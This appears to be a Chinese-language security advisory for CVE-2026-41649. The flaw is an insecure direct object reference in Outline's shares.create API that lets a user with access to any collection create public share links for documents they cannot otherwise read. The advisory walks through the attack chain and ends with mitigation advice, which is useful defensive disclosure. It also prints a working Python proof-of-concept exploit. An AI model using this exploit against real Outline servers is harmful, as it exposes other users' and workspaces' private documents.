IPBUF安全漏洞报告
English
CVE-2026-41649 CVSS 7.7 高危

CVE-2026-41649 Outline不安全的直接对象引用漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41649
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Outline

相关标签

IDOR权限绕过信息泄露OutlineAPI安全

漏洞概述

Outline 是一款广泛使用的协作文档服务。在其 0.86.0 至 1.7.0 之前的版本中,`shares.create` API 端点存在严重的不安全的直接对象引用(IDOR)漏洞。由于授权逻辑设计缺陷,攻击者仅需拥有对某个集合的访问权限,即可通过构造特定请求绕过文档访问限制,成功生成任意文档的公共共享链接,进而获取包括其他工作空间在内的敏感文档内容。

技术细节

该漏洞的核心问题出现在 Outline 服务端的 `shares.create` API 接口权限校验逻辑中。当请求同时包含 `collectionId` 和 `documentId` 参数时,系统仅验证了当前用户对 `collectionId` 指向的集合是否具备访问权限,而忽略了关键的文档级别权限检查。这种逻辑缺陷使得经过身份验证的攻击者能够利用其有权限访问的合法集合 ID,配合目标敏感文档的 ID,发送特制的 POST 请求。服务器会错误地认为请求合法,从而为目标文档创建一个公共分享链接。攻击者随后可调用 `documents.info` 接口,利用该链接完全读取文档内容。该漏洞导致了严重的信息泄露风险,打破了工作空间之间的隔离边界。

攻击链分析

STEP 1
1. 身份认证
攻击者注册或登录 Outline 平台,获取有效的身份认证令牌,并确认自己拥有对至少一个集合的读取权限。
STEP 2
2. 信息收集
攻击者通过枚举或其他方式获取目标文档的 ID(documentId),该文档可能属于攻击者无权访问的其他工作空间。
STEP 3
3. 发起恶意请求
攻击者向 `shares.create` API 发送 POST 请求。请求中包含攻击者有权限的 `collectionId` 和目标受限制的 `documentId`。
STEP 4
4. 绕过权限校验
服务端仅校验了 `collectionId` 的权限,未校验 `documentId` 的归属,错误地判定请求合法并返回了指向敏感文档的公共分享链接。
STEP 5
5. 获取敏感数据
攻击者利用生成的分享链接,通过 `documents.info` 端点或直接访问链接,获取完整的敏感文档内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-41649 (Outline IDOR) # Attacker needs read access to at least one collection (collectionId) TARGET_URL = "https://outline.example.com" API_ENDPOINT = f"{TARGET_URL}/api/shares.create" AUTH_TOKEN = "Bearer <attacker_valid_jwt_token>" # Headers headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Payload exploiting the IDOR # collectionId: ID of a collection the attacker has access to # documentId: ID of the target document the attacker wants to steal payload = { "collectionId": "COL_12345", "documentId": "DOC_SECRET_999" } response = requests.post(API_ENDPOINT, json=payload, headers=headers) if response.status_code == 200: data = response.json() print("[+] Success! Share link created:") print(f" Share URL: {data['data']['url']}") print(f" Document ID: {data['data']['documentId']}") else: print(f"[-] Failed to create share. Status: {response.status_code}") print(response.text)

影响范围

Outline >= 0.86.0, < 1.7.0

防御指南

临时缓解措施
建议立即升级到修复版本。如暂无法升级,应严格监控 API 日志中异常的 shares.create 请求(特别是包含跨工作空间 documentId 的请求),并考虑限制普通用户创建公共分享链接的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表